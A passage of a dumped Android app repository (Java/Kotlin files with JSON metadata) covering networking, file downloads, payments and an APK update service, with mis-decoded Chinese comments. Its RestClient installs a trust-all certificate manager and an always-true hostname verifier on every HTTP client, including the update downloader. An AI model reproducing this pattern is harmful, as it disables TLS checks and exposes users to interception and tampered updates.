ctx\n * @param file\n */\n public static void saveFileToGallery(Context ctx, File file) {\n if (null == file) return;\n try {\n MediaStore.Images.Media.insertImage(ctx.getContentResolver(),\n file.getAbsolutePath(), file.getName(), null);\n LogUtil.d(\"gallery\", \"ไฟๅญ˜็›ธๅ†ŒๆˆๅŠŸ\");\n } catch (Exception e) {\n e.printStackTrace();\n LogUtil.d(\"gallery\", \"ไฟๅญ˜็›ธๅ†Œๅคฑ่ดฅ e=\" + e.getMessage());\n }\n\n // ้€š็Ÿฅๅ›พๅบ“ๆ›ดๆ–ฐ11\n try {\n ctx.sendBroadcast(new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, Uri.fromFile(file)));\n } catch (Exception e) {\n e.printStackTrace();\n LogUtil.d(\"gallery\", \"้€š็Ÿฅๅ›พๅบ“ๆ›ดๆ–ฐๅคฑ่ดฅ 111 e=\" + e.getMessage());\n }\n\n // ้€š็Ÿฅๅ›พๅบ“ๆ›ดๆ–ฐ22\n try {\n String[] paths = new String[]{file.getAbsolutePath()};\n MediaScannerConnection.scanFile(ctx, paths, null, new MediaScannerConnection.OnScanCompletedListener() {\n @Override\n public void onScanCompleted(String path, Uri uri) {\n Intent mediaScanIntent = new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE);\n mediaScanIntent.setData(uri);\n ctx.sendBroadcast(mediaScanIntent);\n }\n });\n\n } catch (Exception e) {\n e.printStackTrace();\n LogUtil.d(\"gallery\", \"้€š็Ÿฅๅ›พๅบ“ๆ›ดๆ–ฐๅคฑ่ดฅ 222 e=\" + e.getMessage());\n }\n }\n\n public static void clearClipboard() {\n ClipboardManager manager = (ClipboardManager) LContext.getContext().getSystemService(Context.CLIPBOARD_SERVICE);\n if (manager != null) {\n try {\n manager.setPrimaryClip(ClipData.newPlainText(null, null));\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n }\n\n public static void addToClipboard(String text) {\n try {\n ClipboardManager cm = (ClipboardManager) LContext.getContext().getSystemService(Context.CLIPBOARD_SERVICE);\n cm.setText(text);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static String checkUrl(String url) {\n if (!TextUtils.isEmpty(url) && !url.contains(\"http\")) {\n if (url.startsWith(\"//\")) {\n url = \"https:\" + url.subSequence(1, url.length());\n } else if (url.startsWith(\"/\")) {\n url = \"https:/\" + url.subSequence(1, url.length());\n } else {\n url = \"https://\" + url;\n }\n }\n return url;\n }\n}\n" }, { "alpha_fraction": 0.5980066657066345, "alphanum_fraction": 0.5986710786819458, "avg_line_length": 22.515625, "blob_id": "3a24a2e98403cbebc5ca872c28848664a7890707", "content_id": "e0abccd94992ef1515cff3325bf9d045f839a791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1509, "license_type": "no_license", "max_line_length": 71, "num_lines": 64, "path": "/app/src/main/java/com/android/base/ui/SimpleFrag.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui;\n\nimport android.view.View;\n\nimport androidx.core.app.ActivityCompat;\n\nimport com.android.base.widget.TitleBarView;\n\nimport me.yokeyword.fragmentation.ISupportFragment;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic abstract class SimpleFrag extends BaseFragment {\n private TitleBarView mToolbar;\n\n public void setToolbar(TitleBarView toolbar) {\n this.mToolbar = toolbar;\n toolbar.setOnLeftBtnClickListener(v -> {\n assert getFragmentManager() != null;\n if (getFragmentManager().getBackStackEntryCount() > 1) {\n pop();\n } else {\n ActivityCompat.finishAfterTransition(_mActivity);\n }\n });\n }\n\n protected void hideToolbar() {\n TitleBarView titleBar = getTitleBar();\n if (null != titleBar) {\n titleBar.setVisibility(View.GONE);\n }\n }\n\n protected TitleBarView getTitleBar() {\n if (null != mToolbar) {\n return mToolbar;\n }\n ISupportFragment preFragment = getPreFragment();\n if (null != preFragment && preFragment instanceof SimpleFrag) {\n SimpleFrag simpleFrag = (SimpleFrag) preFragment;\n mToolbar = simpleFrag.getTitleBar();\n }\n return mToolbar;\n }\n\n @Override\n public void onResume() {\n super.onResume();\n }\n\n @Override\n public void onPause() {\n super.onPause();\n }\n\n @Override\n public void onStop() {\n super.onStop();\n }\n\n\n}\n" }, { "alpha_fraction": 0.6463306546211243, "alphanum_fraction": 0.6480990052223206, "avg_line_length": 27.299999237060547, "blob_id": "c2e972c62097b3fe326568162a121b08a7462dcb", "content_id": "47ed69e8b866c21e628b304fd5146c5ba7c8b1b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 1163, "license_type": "no_license", "max_line_length": 111, "num_lines": 40, "path": "/app/src/main/java/com/android/base/task/BackgroundTask.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.task\n\nimport android.content.Context\nimport androidx.work.*\nimport com.blankj.utilcode.util.Utils\n\n/**\n * ๅŽๅฐไปปๅŠก\n * 1ใ€็ปงๆ‰ฟBackgroundTask ้‡ๅ†™doTask()\n * 2ใ€่ฐƒ็”จBackgroundTask.execute()ๆ‰ง่กŒไปปๅŠก\n * @author zhangquan\n */\nabstract class BackgroundTask(context: Context, wokerParams: WorkerParameters) : Worker(context, wokerParams) {\n private val params = wokerParams\n override fun doWork(): Result {\n doTask(params)\n return Result.success()\n }\n\n abstract fun doTask(parameters: WorkerParameters)\n\n\n companion object {\n @JvmStatic\n fun execute(workerClass: Class<out ListenableWorker>) {\n val request = OneTimeWorkRequest.Builder(workerClass)\n .build()\n WorkManager.getInstance(Utils.getApp()).enqueue(request)\n }\n\n @JvmStatic\n fun execute(workerClass: Class<out ListenableWorker>, data: Data) {\n val request = OneTimeWorkRequest.Builder(workerClass)\n .setInputData(data)\n .build()\n WorkManager.getInstance(Utils.getApp()).enqueue(request)\n }\n }\n\n}" }, { "alpha_fraction": 0.6032915115356445, "alphanum_fraction": 0.6111174821853638, "avg_line_length": 34.90495681762695, "blob_id": "752190c225d74041e037461b4fbe56d7fb654c40", "content_id": "cd58fbf39ca2aca758f459e275dbeeb482a4678f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 8823, "license_type": "no_license", "max_line_length": 118, "num_lines": 242, "path": "/app/src/main/java/com/android/base/data/RestClient.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.data;\n\n\nimport com.android.base.util.log.LogClient;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.security.SecureRandom;\nimport java.security.cert.CertificateException;\nimport java.security.cert.X509Certificate;\nimport java.util.concurrent.TimeUnit;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\n\nimport okhttp3.Call;\nimport okhttp3.Headers;\nimport okhttp3.Interceptor;\nimport okhttp3.MediaType;\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\nimport okhttp3.Response;\nimport okhttp3.ResponseBody;\nimport okhttp3.logging.HttpLoggingInterceptor;\nimport okio.Buffer;\nimport okio.BufferedSource;\nimport okio.GzipSource;\nimport retrofit2.Retrofit;\nimport retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory;\nimport retrofit2.converter.gson.GsonConverterFactory;\nimport retrofit2.converter.scalars.ScalarsConverterFactory;\n\n/**\n * OkHttp่ฏทๆฑ‚\n *\n * @author ๅผ ๅ…จ\n */\npublic final class RestClient {\n private static final String TAG = \"RestClient\";\n public static final int TIMEOUT_CONNECTION = 20; //่ฟžๆŽฅ่ถ…ๆ—ถ\n public static final int TIMEOUT_READ = 20; //่ฏปๅ–่ถ…ๆ—ถ\n public static final int TIMEOUT_WRITE = 20; //ๅ†™ๅ…ฅ่ถ…ๆ—ถ\n\n private static final Charset UTF8 = Charset.forName(\"UTF-8\");\n public static final String REST_API_URL = DataConfig.API_HOST;\n private static Retrofit s_retrofit;\n private static OkHttpClient fileDownloadClient;\n private static OkHttpClient imgDownloadClient;\n\n\n static {\n OkHttpClient.Builder builder = new OkHttpClient.Builder()\n// .proxy(Proxy.NO_PROXY)\n .connectTimeout(TIMEOUT_CONNECTION, TimeUnit.SECONDS)\n .readTimeout(TIMEOUT_READ, TimeUnit.SECONDS)\n .writeTimeout(TIMEOUT_WRITE, TimeUnit.SECONDS)\n .addInterceptor(new HeaderIntercepter());\n\n if (DataConfig.DEBUG) {\n HttpLoggingInterceptor loggingInterceptor = new HttpLoggingInterceptor();\n loggingInterceptor.setLevel(HttpLoggingInterceptor.Level.BODY);\n builder.addInterceptor(loggingInterceptor);\n }\n getUnsafeOkHttpClient(builder);\n OkHttpClient client = builder.build();\n\n s_retrofit = new Retrofit.Builder()\n .baseUrl(REST_API_URL)\n .addConverterFactory(ScalarsConverterFactory.create())\n .addConverterFactory(GsonConverterFactory.create())\n .addCallAdapterFactory(RxJava2CallAdapterFactory.create())\n .client(client)\n .build();\n }\n\n /**\n * ๆ–‡ไปถไธ‹่ฝฝ\n *\n * @return\n */\n public static OkHttpClient getDownloadClient() {\n if (null == fileDownloadClient) {\n OkHttpClient.Builder builder = new OkHttpClient.Builder()\n .connectTimeout(TIMEOUT_CONNECTION, TimeUnit.SECONDS)\n .readTimeout(TIMEOUT_READ, TimeUnit.SECONDS)\n .writeTimeout(TIMEOUT_WRITE, TimeUnit.SECONDS);\n getUnsafeOkHttpClient(builder);\n fileDownloadClient = builder.build();\n }\n return fileDownloadClient;\n }\n\n /**\n * ๅ›พ็‰‡ไธ‹่ฝฝ\n *\n * @return\n */\n public static OkHttpClient getImgDownloadClient() {\n if (null == imgDownloadClient) {\n OkHttpClient.Builder builder = new OkHttpClient.Builder()\n .connectTimeout(TIMEOUT_CONNECTION, TimeUnit.SECONDS)\n .readTimeout(50, TimeUnit.SECONDS)\n .writeTimeout(50, TimeUnit.SECONDS);\n getUnsafeOkHttpClient(builder);\n imgDownloadClient = builder.build();\n }\n return imgDownloadClient;\n }\n\n\n public static void getUnsafeOkHttpClient(OkHttpClient.Builder builder) {\n try {\n final X509TrustManager trustManager = new X509TrustManager() {\n @Override\n public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {\n\n }\n\n @Override\n public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {\n\n }\n\n @Override\n public X509Certificate[] getAcceptedIssuers() {\n return new X509Certificate[0];\n }\n };\n\n SSLContext sslContext = SSLContext.getInstance(\"SSL\");\n sslContext.init(null, new TrustManager[]{trustManager}, new SecureRandom());\n SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();\n builder.sslSocketFactory(sslSocketFactory,trustManager);\n builder.hostnameVerifier(new HostnameVerifier() {\n @Override\n public boolean verify(String hostname, SSLSession session) {\n return true;\n }\n });\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n static class HeaderIntercepter implements Interceptor {\n\n @Override\n public Response intercept(Chain chain) throws IOException {\n\n Request request = chain.request();\n Request.Builder builder = request.newBuilder();\n\n// String token = UserClient.getToken();\n// builder.addHeader(\"x-app-source\", APP_SOURCE); // 1 ๆ˜Ÿๅฃ่ข‹ 2 ๆ˜Ÿไนๆกƒ\n// builder.addHeader(\"x-sign\", sign); //็ญพๅ\n// builder.addHeader(\"x-timestamp\", \"\" + timestamp);\n// builder.addHeader(\"x-appid\", APPID);\n// builder.addHeader(\"x-m\", AnalysisUtil.getUniqueId());//่ฎพๅค‡id\n//\n//\n// if (!TextUtils.isEmpty(token)) {\n// builder.addHeader(\"Authorization\", token);\n// }\n//\n// builder.addHeader(\"User-Agent\", AnalysisUtil.getUA());\n// builder.addHeader(\"Cache-Control\", CacheControl.FORCE_NETWORK.toString());\n// builder.addHeader(\"sgn\", DeviceUtil.getSignature()); //็ญพๅๆ ก้ชŒ\n// builder.addHeader(\"pkg\", DeviceUtil.getPkgName()); //ๅŒ…ๅๆ ก้ชŒ\n// builder.addHeader(\"appVersion\", LContext.versionName); //็‰ˆๆœฌๅท\n// builder.addHeader(\"client-v\", LContext.versionName); //็‰ˆๆœฌๅท\n// builder.addHeader(\"channel\", LContext.channel);//ๆธ ้“\n// builder.addHeader(\"check-enable\", \"1\");\n// builder.addHeader(\"dev-type\", \"1\");// 1 ๅฎ‰ๅ“ , 2 IOS , 3 ๅ…ถไป–\n// builder.addHeader(\"client-type\", \"2\");//1,ๅพฎไฟกๅฐ็จ‹ๅบ , 2 APP\n\n\n request = builder.build();\n Response response = chain.proceed(request);\n checkResponse(request.url().toString(), response);\n return response;\n }\n\n }\n\n private static void checkResponse(String url, Response response) {\n try {\n ResponseBody body = response.body();\n BufferedSource source = body.source();\n Headers headers = response.headers();\n source.request(Long.MAX_VALUE); // Buffer the entire body.\n Buffer buffer = source.buffer();\n if (\"gzip\".equalsIgnoreCase(headers.get(\"Content-Encoding\"))) {\n GzipSource gzippedResponseBody = null;\n try {\n gzippedResponseBody = new GzipSource(buffer.clone());\n buffer = new Buffer();\n buffer.writeAll(gzippedResponseBody);\n } finally {\n if (gzippedResponseBody != null) {\n gzippedResponseBody.close();\n }\n }\n }\n Charset charset = UTF8;\n MediaType contentType = body.contentType();\n if (contentType != null) {\n charset = contentType.charset(UTF8);\n }\n\n String responseStr = buffer.clone().readString(charset);\n //ๆœฌๅœฐๆ—ฅๅฟ—\n LogClient.logResponse(url, responseStr);\n\n //็™ปๅฝ•ๅคฑๆ•ˆ\n// int code = new JSONObject(responseStr).optInt(\"code\");\n// if (code == 201) {\n// UserClient.loginOut();\n// EventBus.getDefault().post(new EventMsg(Constant.Event.LOGIN_OUT));\n// EventBus.getDefault().post(new EventMsg(Constant.Event.LOGIN_SESSION_INVALIDATE));\n// }\n\n } catch (Exception e) {\n }\n }\n\n\n public static <T> T getService(Class<T> serviceClass) {\n return s_retrofit.create(serviceClass);\n }\n\n public static OkHttpClient getHttpClient() {\n Call.Factory factory = s_retrofit.callFactory();\n return (OkHttpClient) factory;\n }\n\n\n}\n" }, { "alpha_fraction": 0.5146363377571106, "alphanum_fraction": 0.5174453258514404, "avg_line_length": 28.03004264831543, "blob_id": "f222f44fc085c30d28369539878e9cd5313dc749", "content_id": "c7420524ff48b1d0115e3a53ace63fa52e6653b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 6842, "license_type": "no_license", "max_line_length": 87, "num_lines": 233, "path": "/app/src/main/java/com/android/base/util/filedownloader/FileDownloader.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util.filedownloader;\n\nimport android.content.Context;\nimport android.os.Environment;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.os.Message;\nimport android.text.TextUtils;\n\nimport com.android.util.encode.MD5;\nimport com.android.util.log.LogUtil;\nimport com.android.base.data.RestClient;\nimport com.android.base.util.CommonUtil;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport okhttp3.Call;\nimport okhttp3.Callback;\nimport okhttp3.Request;\nimport okhttp3.Response;\n\n/**\n * ๆ–‡ไปถไธ‹่ฝฝๅ™จ\n *\n * @author ๅผ ๅ…จ\n */\npublic class FileDownloader {\n private static final String TAG = \"FileDownloader\";\n private static final String DIR=\"files\";\n private DownloadHandler downloadHandler = new DownloadHandler();\n private DownloadCallback callback;\n private Context ctx;\n private boolean exit;\n private boolean saveToGallery; //่‡ชๅŠจไฟๅญ˜ๅˆฐ็›ธๅ†Œ\n\n public FileDownloader(Context ctx) {\n this(ctx, true);\n }\n\n public FileDownloader(Context ctx, boolean saveToGallery) {\n this.ctx = ctx;\n this.saveToGallery = saveToGallery;\n }\n\n private File getImgDir() {\n File fileDir = new File(Environment.getExternalStorageDirectory(), DIR);\n if (!fileDir.exists()) {\n fileDir.mkdirs();\n }\n return fileDir;\n }\n\n /**\n * ไธ‹่ฝฝๆ–‡ไปถ\n *\n * @param url\n * @param callback\n */\n public void downloadFile(String url, DownloadCallback callback) {\n if (TextUtils.isEmpty(url)) {\n return;\n }\n List<String> urls = new ArrayList<>();\n urls.add(url);\n downloadFile(urls, callback);\n }\n\n /**\n * ไธ‹่ฝฝๆ–‡ไปถ\n *\n * @param urls\n * @param callback\n */\n public void downloadFile(List<String> urls, DownloadCallback callback) {\n if (null == urls || urls.isEmpty()) return;\n this.callback = callback;\n for (String url : urls) {\n File imgDir = getImgDir();\n String fileName = MD5.MD5Encode(url);\n if (url.contains(\".mp4\")) {\n fileName += \".mp4\";\n } else {\n fileName += \".png\";\n }\n File file = new File(imgDir, fileName);\n if (file.exists() && file.length() > 0) { //ๅทฒไธ‹่ฝฝๅฎŒๆˆ็š„\n success(url, file);\n } else {\n if (url.startsWith(\"http\")) {\n downLoadFile(url, file);\n } else {\n fail(url);\n }\n }\n }\n }\n\n /**\n * ็ป“ๆŸ\n */\n public void stop() {\n this.exit = true;\n this.ctx = null;\n callback = null;\n downloadHandler.removeAllMsg();\n }\n\n private boolean isExit() {\n return exit || null == callback;\n }\n\n private void success(String url, File file) {\n if (saveToGallery && null != file && null != ctx) {\n CommonUtil.saveFileToGallery(ctx, file);\n }\n if (isExit()) return;\n callback.success(file, url);\n }\n\n private void fail(String url) {\n if (isExit()) return;\n callback.fail(url);\n }\n\n private void downLoadFile(String url, File file) {\n final Request request = new Request.Builder().url(url).build();\n final Call call = RestClient.getHttpClient().newCall(request);\n\n\n call.enqueue(new Callback() {\n @Override\n public void onFailure(Call call, IOException e) {\n if (isExit()) return;\n downloadHandler.sendFail(url, file);\n }\n\n @Override\n public void onResponse(Call call, Response response) {\n if (isExit()) return;\n if (response.isSuccessful()) {\n InputStream is = null;\n byte[] buf = new byte[2048];\n int len;\n FileOutputStream fos = null;\n try {\n is = response.body().byteStream();\n fos = new FileOutputStream(file);\n while ((len = is.read(buf)) != -1) {\n fos.write(buf, 0, len);\n }\n fos.flush();\n downloadHandler.sendSuccess(url, file);\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n downloadHandler.sendFail(url, file);\n } finally {\n try {\n if (is != null) {\n is.close();\n }\n if (fos != null) {\n fos.close();\n }\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n }\n }\n } else {\n downloadHandler.sendFail(url, file);\n }\n }\n });\n }\n\n private class DownloadHandler extends Handler {\n private int msg_success = 1;\n private int msg_fail = 2;\n\n public DownloadHandler() {\n super(Looper.getMainLooper());\n }\n\n public void sendSuccess(String url, File file) {\n Message message = obtainMessage(msg_success);\n message.obj = new FileDownloader.FileEntity(url, file);\n sendMessage(message);\n }\n\n public void sendFail(String url, File file) {\n if (null != file && file.length() > 0) file.delete(); //ๅˆ ้™คไธ‹่ฝฝๅคฑ่ดฅ็š„ๆ–‡ไปถ\n Message message = obtainMessage(msg_fail);\n message.obj = new FileDownloader.FileEntity(url, null);\n sendMessage(message);\n }\n\n @Override\n public void handleMessage(Message msg) {\n FileDownloader.FileEntity fileEntity = (FileDownloader.FileEntity) msg.obj;\n if (msg.what == msg_success) {\n success(fileEntity.url, fileEntity.file);\n } else {\n fail(fileEntity.url);\n }\n }\n\n public void removeAllMsg() {\n removeMessages(msg_fail);\n removeMessages(msg_success);\n }\n }\n\n private static class FileEntity implements Serializable {\n public String url;\n public File file;\n\n public FileEntity(String url, File file) {\n this.url = url;\n this.file = file;\n }\n }\n\n public static interface DownloadCallback {\n void success(File file, String url);\n\n void fail(String url);\n }\n}\n" }, { "alpha_fraction": 0.5860113501548767, "alphanum_fraction": 0.5904221534729004, "avg_line_length": 32.410526275634766, "blob_id": "05b2b2bb312f03bcac09d5dc89a0dc8cff52e4ae", "content_id": "92d3f0db9797c15da13639f59ae6e319229f83e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3350, "license_type": "no_license", "max_line_length": 114, "num_lines": 95, "path": "/app/src/main/java/com/android/base/util/pay/OrderPay.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util.pay;\n\nimport android.annotation.SuppressLint;\nimport android.app.Activity;\nimport android.content.ComponentName;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.os.Handler;\nimport android.os.Message;\nimport android.text.TextUtils;\n\nimport com.alipay.sdk.app.PayTask;\nimport com.android.base.event.EventMsg;\nimport com.android.util.ext.ToastUtil;\nimport com.android.base.Constant;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport java.util.Map;\n\n/**\n * ๆ”ฏไป˜\n *\n * @author ๅผ ๅ…จ\n */\npublic class OrderPay {\n private static final int SDK_PAY_FLAG = 1;\n\n public void wxPay(Context ctx, OrderPayResponse orderPayResponse) {\n WXHelper wxHelper = new WXHelper(ctx);\n wxHelper.pay(orderPayResponse);\n }\n\n public void alipay(Activity ctx, OrderPayResponse orderPayResponse) {\n if (!checkAliPayInstalled(ctx)) { //ๆœชๅฎ‰่ฃ…ๆ”ฏไป˜ๅฎ\n ToastUtil.show(\"ๆœชๅฎ‰่ฃ…ๆ”ฏไป˜ๅฎ\");\n return;\n }\n String orderInfo = orderPayResponse.orderInfo;\n final Runnable payRunnable = new Runnable() {\n\n @Override\n public void run() {\n PayTask alipay = new PayTask(ctx);\n Map<String, String> result = alipay.payV2(orderInfo, true);\n\n Message msg = new Message();\n msg.what = SDK_PAY_FLAG;\n msg.obj = result;\n mHandler.sendMessage(msg);\n }\n };\n\n // ๅฟ…้กปๅผ‚ๆญฅ่ฐƒ็”จ\n Thread payThread = new Thread(payRunnable);\n payThread.start();\n }\n\n @SuppressLint(\"HandlerLeak\")\n private Handler mHandler = new Handler() {\n @Override\n public void handleMessage(Message msg) {\n switch (msg.what) {\n case SDK_PAY_FLAG: {\n PayResult payResult = new PayResult((Map<String, String>) msg.obj);\n /**\n * ๅฏนไบŽๆ”ฏไป˜็ป“ๆžœ๏ผŒ่ฏทๅ•†ๆˆทไพ่ต–ๆœๅŠก็ซฏ็š„ๅผ‚ๆญฅ้€š็Ÿฅ็ป“ๆžœใ€‚ๅŒๆญฅ้€š็Ÿฅ็ป“ๆžœ๏ผŒไป…ไฝœไธบๆ”ฏไป˜็ป“ๆŸ็š„้€š็Ÿฅใ€‚\n */\n String resultInfo = payResult.getResult();// ๅŒๆญฅ่ฟ”ๅ›ž้œ€่ฆ้ชŒ่ฏ็š„ไฟกๆฏ\n String resultStatus = payResult.getResultStatus();\n // ๅˆคๆ–ญresultStatus ไธบ9000ๅˆ™ไปฃ่กจๆ”ฏไป˜ๆˆๅŠŸ\n if (TextUtils.equals(resultStatus, \"9000\")) {\n EventBus.getDefault().post(new EventMsg(Constant.Event.ORDER_BUY_SUCCESS, PayWay.ZHIBAO));\n } else if (TextUtils.equals(resultStatus, \"6001\")) {\n// ToastUtil.show(\"ๅ–ๆถˆๆ”ฏไป˜\");\n EventBus.getDefault().post(new EventMsg(Constant.Event.ORDER_BUY_CANCEL, PayWay.ZHIBAO));\n } else {\n EventBus.getDefault().post(new EventMsg(Constant.Event.ORDER_BUY_FAIL, PayWay.ZHIBAO));\n }\n break;\n }\n }\n\n }\n };\n\n public boolean checkAliPayInstalled(Context context) {\n\n Uri uri = Uri.parse(\"alipays://platformapi/startApp\");\n Intent intent = new Intent(Intent.ACTION_VIEW, uri);\n ComponentName componentName = intent.resolveActivity(context.getPackageManager());\n return componentName != null;\n }\n}\n" }, { "alpha_fraction": 0.5242528915405273, "alphanum_fraction": 0.5282562375068665, "avg_line_length": 38.63468551635742, "blob_id": "ace8617efc37278a0eabe61f8c405ad8ce0a1515", "content_id": "451aaaaed139a447f54a47cbb5b9d2e8491974ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 10917, "license_type": "no_license", "max_line_length": 108, "num_lines": 271, "path": "/app/src/main/java/com/android/base/version/UpdateService.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.version;\n\nimport android.app.Notification;\nimport android.app.NotificationChannel;\nimport android.app.NotificationManager;\nimport android.app.PendingIntent;\nimport android.app.Service;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.graphics.Color;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Handler;\nimport android.os.IBinder;\nimport android.os.Looper;\nimport android.os.Message;\n\nimport androidx.annotation.Nullable;\nimport androidx.core.app.NotificationCompat;\nimport androidx.core.content.FileProvider;\n\nimport com.android.util.ext.ToastUtil;\nimport com.android.util.log.LogUtil;\nimport com.android.base.data.RestClient;\nimport com.fastapp.R;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport component.update.AppDownloadClient;\nimport component.update.AppVersion;\nimport okhttp3.Call;\nimport okhttp3.Callback;\nimport okhttp3.Request;\nimport okhttp3.Response;\n\n/**\n * AppๅŽๅฐไธ‹่ฝฝๆœๅŠก\n *\n * @author ๅผ ๅ…จ\n */\npublic class UpdateService extends Service {\n private static final String TAG = \"VersionUpdate\";\n private static final String APP_VERSION = \"APP_VERSION\";\n private boolean isDownload;\n\n public static void update(Context ctx, AppVersion appVersion) {\n Intent intent = new Intent(ctx, UpdateService.class);\n intent.putExtra(APP_VERSION, appVersion);\n ctx.startService(intent);\n\n }\n\n @Nullable\n @Override\n public IBinder onBind(Intent intent) {\n return null;\n }\n\n @Override\n public int onStartCommand(Intent intent, int flags, int startId) {\n if (null == intent || !intent.hasExtra(APP_VERSION))\n return super.onStartCommand(intent, flags, startId);\n\n ToastUtil.show(\"ๅŽๅฐไธ‹่ฝฝไธญ,่ฏท็จๅ€™..\");\n\n if (isDownload) return super.onStartCommand(intent, flags, startId);\n try {\n AppVersion appVersion = (AppVersion) intent.getSerializableExtra(APP_VERSION);\n File updateFile = AppDownloadClient.getUpdateFile();\n downLoadFile(appVersion.downloadUrl, updateFile);\n } catch (Exception e) {\n e.printStackTrace();\n isDownload = false;\n }\n return super.onStartCommand(intent, flags, startId);\n }\n\n private static class DownloadCallback extends Handler {\n private static final int msg_success = 1;\n private static final int msg_fail = 2;\n private static final int msg_progress = 3;\n private int notificationId;\n final String channelId = \"1\";\n private NotificationManager notificationManager;\n private NotificationCompat.Builder mBuilder;\n private Context ctx;\n\n public DownloadCallback(Context ctx, String url) {\n super(Looper.getMainLooper());\n this.ctx = ctx;\n notificationId = url.hashCode();\n notificationManager = (NotificationManager) ctx.getSystemService(Context.NOTIFICATION_SERVICE);\n\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n NotificationChannel channel = new NotificationChannel(channelId,\n \"Channel1\", NotificationManager.IMPORTANCE_DEFAULT);\n channel.enableLights(false);\n channel.enableVibration(false);\n channel.setVibrationPattern(new long[]{0});\n channel.setSound(null, null);\n channel.setLightColor(Color.RED); //ๅฐ็บข็‚น้ขœ่‰ฒ\n channel.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);\n channel.setShowBadge(true); //ๆ˜ฏๅฆๅœจไน…ๆŒ‰ๆกŒ้ขๅ›พๆ ‡ๆ—ถๆ˜พ็คบๆญคๆธ ้“็š„้€š็Ÿฅ\n mBuilder = new NotificationCompat.Builder(ctx, channelId);\n notificationManager.createNotificationChannel(channel);\n } else {\n mBuilder = new NotificationCompat.Builder(ctx);\n mBuilder.setDefaults(NotificationCompat.FLAG_ONLY_ALERT_ONCE)\n .setVibrate(new long[]{0})\n .setSound(null);\n }\n }\n\n @Override\n public void handleMessage(Message msg) {\n switch (msg.what) {\n case msg_progress:\n int progress = (int) msg.obj;\n sendNotification(progress);\n break;\n case msg_success:\n LogUtil.e(TAG, \"ไธ‹่ฝฝๆˆๅŠŸ\");\n notificationManager.cancel(notificationId);\n AppDownloadClient.installAPK();\n break;\n case msg_fail:\n LogUtil.e(TAG, \"ไธ‹่ฝฝๅคฑ่ดฅ\");\n notificationManager.cancel(notificationId);\n ToastUtil.show(\"ไธ‹่ฝฝๅคฑ่ดฅ,่ฏท้‡่ฏ•\");\n break;\n }\n }\n\n public void sendMsg(int what) {\n sendEmptyMessage(what);\n }\n\n public void updateProgress(int progress) {\n sendMessage(obtainMessage(msg_progress, progress));\n }\n\n public void sendNotification(int progress) {\n LogUtil.e(TAG, \"progress=\" + progress);\n if (progress < 100) {\n Intent localIntent = new Intent(ctx, UpdateService.class);\n PendingIntent localPendingIntent = PendingIntent.getService(ctx, 0,\n localIntent, PendingIntent.FLAG_UPDATE_CURRENT);\n if (progress <= 0) {\n mBuilder.setContentTitle(\"ๆ˜Ÿไนๆกƒ\")\n .setContentText(\"็‰ˆๆœฌไธ‹่ฝฝไธญ\");\n } else {\n mBuilder.setContentTitle(\"็‰ˆๆœฌไธ‹่ฝฝ\")\n .setContentText(\"ๅฝ“ๅ‰่ฟ›ๅบฆ๏ผš\" + progress + \"%\")\n .setProgress(100, progress, false);\n }\n mBuilder\n .setContentIntent(localPendingIntent)\n .setTicker(\"็‰ˆๆœฌไธ‹่ฝฝไธญ...\")\n .setWhen(System.currentTimeMillis())\n// .setDefaults(Notification.DEFAULT_ALL)\n .setSmallIcon(R.mipmap.ic_launcher)\n .setAutoCancel(true);\n\n\n } else {\n File updateFile = AppDownloadClient.getUpdateFile();\n Intent intent = new Intent(Intent.ACTION_VIEW);\n intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n Uri uri = null;\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n String authority = AppDownloadClient.getAuthority();\n uri = FileProvider.getUriForFile(AppDownloadClient.getContext(), authority, updateFile);\n intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\n } else {\n uri = 